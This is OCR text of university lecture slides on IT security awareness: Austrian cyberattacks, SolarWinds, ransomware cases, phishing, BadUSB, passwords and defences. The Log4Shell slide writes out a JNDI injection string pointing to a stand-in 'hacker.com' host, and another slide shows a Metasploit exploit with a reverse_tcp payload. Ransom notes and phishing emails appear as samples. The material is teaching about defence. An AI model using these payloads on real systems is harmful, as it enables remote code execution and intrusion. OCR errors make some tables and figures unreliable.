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About me - Klaus Gebeshuber

» Study of Electronic Engineering / Computer Science
» Industrial Software Development / Warehouse Logistics

» Lectures @ FH JOANNEUM - IT & Mobile Security Kapfenberg
» Network Technologies
» |T-Security
» Ethical Hacking
» Network Security

» Research Activities
» Industrial Penetration Testing
»  Wireless Security
» 0day hunting

. EXPLOIT!

» Industrial Certifications
» OSCP, OSCE, CISSP, OSWP, CCNA, eCPPT, CSM, eMAPT
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Cyberattacks in Austria
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Nr. * Datum Cyberangriff

—

Januar 2022
Mérz 2022

16. Marz 2022
28. Marz 2022
April 2022

24 Mai 2022
30. Mai 2022
1. Juni 2022
Juni 2022

e e = 4o B W R

—
=

20. Juni 2022

Ort

Wien

Niklasdorf

Wien

Salzburg

St. Polten

Klagenfurt am Worthersee
Wien

Hall in Tirol

Klagenfurt am Waorthersee

Innsbruck

Steiermark

Niederosterreich

Karnten

Tirol
Karnten
Tirol

| October 16,2023 | https://konbriefing.com/de-topics/cyber-angriffe-2022-cny-oesterreich.html

Unternehmen
Fondsanbieter
Papierfabrik

Kirche

Universitat
Berufsbildende Schule
Landesregierung
Fernstudium

Rohre
Landesregierung

Hochschule
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Nr.

11
12
13
14
15
16
17
18
19
20

I

October 16,2023 | https://konbriefing.com/de-topics/cyber-angriffe-2022-cny-oesterreich.html

Datum Cyberangriff

4. Juli 2022

18. Juli 2022

8. August 2022
August 2022

2. September 2022

11. September 2022

Oktober 2022

28. Oktober 2022
2. November 2022
26. November 2022

Ort

Wien

Pill

Gunskirchen
Wien

Feldbach

Bad Waltersdorf
Wiener Neudorf
Wien
Klosterneuburg

Wien

Tirol

Obertsterreich

Stelermark

Steiermark

Niederosterreich

Niederosterreich

Unternehmen
Wohnungsbaugenossenschaft
Leuchten

Motoren

Institut

Stadt

Therme

Kundenkarten

Tourismus

Forschungsinstitut

Presseagentur



Large Scale Attacks - FireEye / Solor Winds
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Attack Timeline — Overview
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11/4/19
Test code 12/17/20
injection ends 6/4/20 US-CERT alert issued
TA removes malware
from build VMs 12/15/20
SWI releases software fix
9/12/19 3/26/20
TA injects test code Hotfix 5 DLL 12/14/20
and begins trial run available to SWi files 8-K and
customers notifies shareholders
and customers
9/4/19 | 2/20/20 12/12/20
Threat Actor SUNBURST SolarWinds
(TA) accessed compiled and notified
SolarWinds | deployed of SUNBURST

All events, dates, and tmes approxamate and subject to change; pending completed investigation.

October 16,2023 |

18.000 Customer
Cisco

Microsoft

Intel

Nvidiaq,

VMWare

AT&T,
Malwarebytes
Crowdstrike,
FireEye,...

Investigation
ongoing
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Large Scale Attacks - Log4J - Log4Shell

== o0 —
s HTTP Request Sent == 0O Log4J logs the HTML request: C—
Normal L094J Scenario p GET Jindex.html == 00 [client] - findex.html - Mozilla/5.0 - . —
User-Agent: Mozilla/5.0
HTTP Server
User
r—~ « ”

Attacker inserts the JNDI == 00 The string is passed to = =)

. . lookup into the header. == 00 Laga.:tor lagging ~

Exfiltration Attack S 2 . TR T > |-=Toc

Scenario GET /HTTP/1.1 —_— ${jndi:Idap://hacker.com/malicious} u

Host: example.com

User-Agent: ${jndi:ldap:/lhacker.com/malicious} Vulnerable

Attacker Vulnerable Server Log4J
A Implementation
Log4J
Idap://hacker.com/malicious prg;?s;zi;he
queries the
malicious
LDAP server.
LDAP Server responds with directory +
information containing the malicious Java — .
Class. Java deserializes or downloads the == 00 httpS.//WWW.prple.COfn/StClth/1 dca18
class and executes it. ==
— % fdbead9a7930cfd47e70448ca7/b8471
g;‘ /log4j-vulnerability-exploitation-

U LA SRk illustration-cve-2021-44228-.png
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Who are the enemies?

11 Anonymous hat retweetet
<7 NBB5 @xxNBES - 28. Feb.
;‘/;‘\:’; Severnaya Kompaniya loves default credentials for critical infrastructure. )

v

Script Kiddies
| » Hacktivists

B e » Employees

e T B Tl [T » Former Employees

- o » Military, Governments

P _ » Competitors

sberbank.ru - DOWN! (6. most visited website in mm) )> o rga n ized C ri me

gosuslugi.ru - DOWN! (9 most visited website in mm)
uralkali.com & lukoil.com & moex.com - DOWN!
Russia, withdraw your troops immediately

#Anonymous #UkraineWar
2:22 vorm, - 27, Feb. 2022 @

Q 26 O Antworten (§ Link kopier.

you're

5 Antworten lesen

7 | October16,2023 |
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Ransomware
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" Wana Decryptor 28
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OQoops, your files have been encrypted! IT & Mobile Security

What Happened to My Computer?
Your important files are ancrypted
Many af vour documents, phobos, videos, databases and other files are no longer

poressihle because they have been encrypled. Mayvbe you are busy looking for a way to
recover your files, bat do not waste yoor Hme. Mobody can recover your files withoot
our decrvpltion service

Payment will be ralsed on

Can | Recover My Files?

Sure. We guarantoe that you can recover all vour files safely and saszily. But yvou have D H H
not so enough time. / eSC rl ptl O n

You can deerypt some of your fles for free. Try now by clicking <Deerypes

But If you want to decrypt all your Mes, you need to pay.

You only have 3 days to submit the payment After that the price will be doubled

Alge, if you don't pay in 7 days, you won't be ahls to recover your flles forever

We will have fros events for users who are o poor that they couldn't pay in 6 months.

SME201T 18:55:13

Time Leh

\

Pressure

Your flies will be lost on

Payment is accepted in Bitcoln only, For more information, ellck <About bitcoin>
Please check the current price of Bitcoin and bhuy some bitcoins. For more information
click <How to by bitcoinss

And send the correct amount to the address specified in this window,

/

Tima Lk

Payment

send 5300 worth of bricoin o this address:
bitcoin

B e [13AMAVW2ZdhxYgXeGepoHkHSQuybNgaEbsd
Contact Us Check Payment

| October 16,2023 |
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If you see thi: then your files are no longer accessible
have been encrypted. Perhaps you are busy looking for a way to reco

files, but don’'t waste your time. HNobody can recover your files without

decryption service.

all your files safely and easily.

He guarantee that you can recover
ase the decryption key.

need to do is submit the payment and purch

Please follow the instructions:
address:

Send $388 worth of Bitcoin to following
dzafAtNbBHX

i
1Mz? 153HHuxXTuR2R1t?BnGS

key to e-mail
d personal {nstallation ‘
2. Bend A s maliss m\’:ﬁr garsonal {nstallation key:

uousnlthlZBdSGOpnsten.net.
s gl e L - —

: i™
S

i3
: please enter it below.

chased your key.

https://de.sput?iknews.com./panorcmq/20’l 70628316360307-warum-das-neue-virus-gefaehrlicher-als-seine-vorgaenger-ist/
https://www.heise.de/security/meldung/Petya-Attacke-oder-NotPetya-Erstes-Angriffsziel-offenbar-in-der-Ukraine-3757496.html

October 16,2023 |
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The MAERSK Cyber Incident - When the Screens went Black!
or Learning from and Applying the Lessons of a
Major Cyber Incident

Andy Powell, €S0, Maersk, Nov 2019

blgt’:k hat

EURORE 2013

DeECeEMBER 2-5, 2019 ]
STTE XS EL LOND OGN, _LLE. =

https://www.youtube.com/watch?v=wQ8HIjkEe%90o

11 | |
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MeDoc-NotPetya

4000 Server
45000 Client Systems
2500 Programs
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Colonial Pipeline US - Ransomware

» DarkSide Ransomware (RU)

» Initial Attack - Reused VPN
Password

» Data Exfiltration & Encryption
» Ransom:

- 75 Bitcoins paid - 4,4Mio$S
- 63,7 Bitcoins recovered - 2,4Mio$

https://en.wikipedia.org/wiki/Colonial_Pipeline_cyber_attack

12 | October 16,2023 |
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Gandcrab

N800
essese

r 1 orl/
Activity

Seller

Joined

34
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All the good things come to an end.
IFor tha year of working with us, people have eamed more than $ 2 hillinnl we have become & nominal name in the field of the underground in the direction of crypta-fiber.

Earnings with us per week averaged $ 2,500,000 .
We personally earned more than 150 million dollars per year. We successfully <3
Internet.

We were glad to work with you. But, as it is written above, all good things come

We are leaving for a well-deserved retirement . We have proven that by do
lifetime. We have proved that it is possible to become number one not in our owr

In this regard, we:

1, Stop the set of adverts;

2. We ask the adverts to suspend the flows;
3. Within 20 days from this date, we ask adverts to monetize thelr bots by any m
4. Victims - if you buy, now. Then your data no one will recover. Keys will be dele

That's all. The topic will be deleted in @ month. Thank you all for the work.

https://twitter.com/Cryptolnsane/status/1134727041826377729/photo/1

- a
© GandCrab Decryptor X T+
@~ € @ gdcbghviygyTick.onion/ ¢ Q Search a s
- GandCrab -
Welcome! )
WE ARE REGRET, BUT ALL YOUR FILES WAS ENCRYPTED! BUNGANDCRARDECRYPTOR: | (0 SUPPORT/SERVICE T

ASFAR AS WE KNOW:

Country &5 United States -
0s Windows 7 Professional (84 bit)
PC User

PC Name

PC Group WORKGROUP

PC Lang. enUs

HDD

Date of encrypt

Ameunt of your files 1417

Volume of your files 1030241268

© But don't worry, you can return all your files! We can help you!
Below you can choose ane of your encrypted file from your PC and decrypt him, it s test decryptor

foryou
& Upload file

But we can decrypt only & 1 file for free.

Browse... | Noflle selected
Max. file size: 2 Mb. Allowed files: txt, jpaiipeg, Jpeg, bmp, png, oif.

ATTENTION!
Don'ttry use third-party decryptor tools!
Because this will destroy your files!

© What do your need?

You need GandCrab Decryptor.

This software will decrypt all your encrypted files and will delete GandCrab from your PC.

For purchase you need crypto-currency = DASH (1 DASH =775.638 §).

How to buy this currency you can read it here.

© How much money your need te pay? Below we are specified amount and our wallet for
payment

-Price-
1.5 DASH (1200 USD)

-DASH address for payment-
Generating an address.
Please check page later.

-To make a payment, you have this time-

04 02 33 42

DAYS HOURS MINUTES SECONDS

-After this time the amount will double and will be-

3 DASH (2400 USD)

This process is fully automated, all payments is instant
After your payment, please refresh this page and you can download here GandCrab Decryptor!
Ifyou have any questions, please, dont hesitate, and write in our € Suppert service 2417

GandCrab {u1.0)
All right reserved 2 2018
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Initial infection

Attacker

INTERNET

FIREWALL

VICTIM

§ ATTACKER
’ E
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FH | JOANNEUM

Phishing, Spear Phishing




FH IJOANNEUM

University of Applied Sciences

IT ¢ RA~ALIIA Cn.:urity

PayPal
NETFLIX "

We're sorry to say goodbye We need your help

" - ST - ‘Your account has been suspended, as an error was detected in your informations.

Hello, The reasen for the error is not certain, but for security reasons, we have suspended
your account temporarily

iTunes let us know that you asked to cancel your

membership. We've cancelled your membership Hi <customer>, We need you to update your informations for further use of your PayPal account.

effective Tuesday, March 21st, 2017.
This Is a follow-up regarding your package delivery:

Obviously we'd love to have you back. If you

change your mind, simply restart your membership » Tracking Number: Dp2uYqSRiho
Fo enjoy all the best TV shows & movies without The package contained in the above-men shipment was not s the AT
interruption. Please contact your local UPS office and provide the printed delivery sticker, included in this email. You are currently made disabled of :
Please note that in case of a failure to contact your local UPS office within 21 days the parcel will be
RESTART MEMBERSHIP returned to sender. :r\ Adding a payment method Sending payment
Thanks so much for shipping with UPS. = / Adding a billing address Accepting payment
‘We're here to help if you need it. Visit the Help =y
Center for more info or contact us
~Your friends at Netflix ee = & A = || [ [shook
3. ACCOUNTING DEPARTMENT z . . 110 U5 30An0SS. FOr MMOIAe ANSWETS 10 YOUr QUESTIDNS, VISt Our
o S amazon Refund Notification | . =
Subject: W2's for All Employees
From Tom Smith Signature:  Nane % Due to a sytem error you were double charged for your last order, A refund
process was initiated but could not be completed due fo errors in your billing
Please send our W2 Tax Documents for all employees to Tom Heald at information
Strategic Tax Consultants. | have cc'd him here.
) REF CODE:2550CGE
We need these documents for a review ordered by the Board of
Directors. You are required to provide us a valid billing address
Please send immediately as we are under a time crunch, Click Here to Update Your Address
Thanks, After your information has been validated you should get your refund within 3
business days
Tom Smith :Ve hope to see you again soon.
CEO ey
BetterSystems Inc

https://www.edts.com/edts-blog/15-examples-of-phishing-emails-from-2016-2017

17 | October 16,2023 |
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SMS Phishing

https://www.post.at/co/c/gefahren-im-internet#1394339386

18
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Phishing — Click on a malicious link

Payload Payload opts

Explott: multi/browser/chrome_js windows/xG4/meterpreter/reve tep://116,203.129 598080
create_sideeffect rse_tcp

156 axplodt temulti/browsar/chrone. jacreate.sideaffect) »

Attacker

-l 2 Type here 10 search o H

19 | October 16,2023 |
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Social engineering
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CEO Fraud

» Deception of employees
Exploitation of the authority
relationship

aFcecpiest FioiGED » 2016 - FACC 52 Mio Eur

Subject: Immediate Wire Transfer

>

A\

& » 2019 - CEO Voice synthesis!

A\

» 2022 - Deep fake video

http://blog.tempest.com.br/static/attachments/joao-paulo-campello/increase-in-ceo-fraud-attacks-highlights-risks-to-corporate-envs/1.png

22 |
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Just asking or posswrds

= &: ..:Z: "

https://www.youtube.com/watch?v=opRMrEfAlil

24 | October16,2023 |
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USB devices
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USB devices
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Name / Anderungsdatum GroBe

> CV.pdf Anwendung 4481 KB
i51] Gehaltstabelle Microsoft Office E... 178 KB
.| info Textdokument 1 KB
Beispiele:

e Ausrkuhrbarer Code
» FilePormat Exploits
* BodUSB

© Thomas Hackner Breakinln Security Forum Hagenberg

26 | October 16,2023 |

» Very cheap devices

» Placed in front of the
door

» Scattered in the parking
lot

» Placed in the toilet

» Sent as gift

? eee



P
IT & Mobile Sécurity

USB devices

» Special USB devices

Micro SD Storage S i ) » Actsas a keyboard
» Can type everything
Replay Button » Cheap device
: Covert Case
“-LED Indicator
Optional Decal
® ® TypeAPlug a ® -

© Thomas Hackner Breakinln Security Forum Hagenberg

27 | October16,2023 |
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Bad USB Devices

——~~ ‘
- ~

ATTACKER

msf esxploit (handler) >

FIREWALL

ATTACKER

28 | October 16,2023 |
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Passwords
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Password protection

FH | {DAREUM

IT & Mobile Security

https://pixabay.com/

31 | October 16,2023 |

»
»
»
»
»
»
»
»
»

Most commonly used passwords
123456

12345

125456789

password

lloveyou

abc123

gwerty

names, pets name, company
terms, date of birth,...
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Password complexity

» Time to crack your password

» (06) Easter 4 seconds
» (07) Easter2 14 minutes
» (08) Easter20 15 hours

» (09) Easter201 39 days

» (10) easter2019 10 days
» (11) Easter20191 412 years

)
)
)
» (10) Easter2019 6 years
)
)
» (11) Easter2019& 4000 years

32 | October 16,2023 |
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Password crocking

» hashcat = GPU cracker
» 500 Mrd. MD5 hashes/s
» Wordlists

» Rules -

» Masks “' ‘S“ E AT
» Brute force e

» Rainbow tables

» Cloud services
» Password spraying - Summer2024

A\

A\

/
|
<
-

GEFORCE RTX

F e
=TT
=y =)
E
=y ™
= J
(L)

| GEFORCERTX

S -—-..._
T
__—0__—__—-—’
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Password reuse
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https://pixabay.com/
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Title of presentation

»

»
»

»
»
»
>

v

Use of the same password many
times on different platforms
Company

Private eMail account

Use of an easy to guess password
scheme

Secude_malil

Secule_private

Password spraying
Wintern2024, Summer2024,...
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How to create a strong password (and remember it)

>

A\

Passwort Manager

» KeePass
» BitWarden
» LastPass
» T1Password
) )

LastPassee««|

35 | October 16,2023 |



2 Factor authentication

.é.

Google Authenticator

o Enter this verification code if
i e prompted during account sign-in:

- ? LG_I alice@gmail.com

547173

alice.work@company.com

166123

Authenticator Code

http://askubuntu.com/questions/193248/google-authenticator-for-desktop-lightdm-or-gdm-plugin

FH | JOANNEUM
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function GeoogleButhenticatorCodel(string secret)

key 1= base3Zdecode(zsecret)

message := floor(current Unix time / 30)
hash := HMAC-SHAl (key, message)

offset := last nibkble of hash
truncatedHash := hashl[offset..offoet+3] i
Set the first bit of truncatedHash to zero
code := truncatedHash mod 1000000

pad code with O until length of code iz ©
return code
https://de.wikipedia.org/wiki/Google_Authenticator

36 October 16, 2023



How to protect myself?
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» Anti virus protection

»
»
»
»
»
»
»
»

37

Firewalls + rules (in/out)

Patch management (security updates)
Password policy

Data backup

Offline storage of backup datal!
Regular security checks

Healthy mistrust

Network segmentation!

| October 16,2023 |
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Vielen Dank!




